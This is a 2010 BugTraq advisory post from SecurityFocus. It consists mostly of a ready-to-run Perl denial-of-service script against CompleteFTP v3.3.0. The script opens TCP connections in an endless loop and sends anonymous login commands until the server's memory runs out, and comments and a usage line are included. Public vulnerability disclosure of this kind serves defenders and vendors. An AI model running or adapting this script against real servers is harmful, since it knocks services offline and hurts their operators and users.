BugTraq
CompleteFTP v3.3.0 - Remote Memory Consumption DoS Apr 19 2010 11:46AM
Mehdi Mahdjoub [SYSDREAM] (m mahdjoub sysdream com)
#!/usr/bin/perl
#
# Title: CompleteFTP v3.3.0 - Remote Memory Consumption DoS
# Author: Jonathan Salwan <j.salwan (at) sysdream (dot) com [email concealed]>
# Web: http://www.shell-storm.org | http://www.sysdream.com
#
#
# Advisories: http://www.sysdream.com/article.php?story_id=331&section_id=78
#
# ~60 sec for satured ~2Go RAM
#

use IO::Socket;

print "\n[x]CompleteFTP v3.3.0 - Remote Memory Consumption DoS\n";

if (@ARGV < 1)
{
print "[-] Usage: <file.pl> <host> <port>\n";
print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
exit;
}

$ip = $ARGV[0];
$port = $ARGV[1];
$login = "USER anonymous\r\n";
$pwd = "PASS anonymous\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n";

print "Please Wait...\n";

while(){
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port");
$socket->recv($answer,2048);
$socket->send($login);
$socket->send($pwd);
}

--
Mehdi Mahdjoub
Consultant Sysdream IT Security
Responsable communication
Webmaster

Sysdream
4 Impasse de la gendarmerie
93400 Saint Ouen
France

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus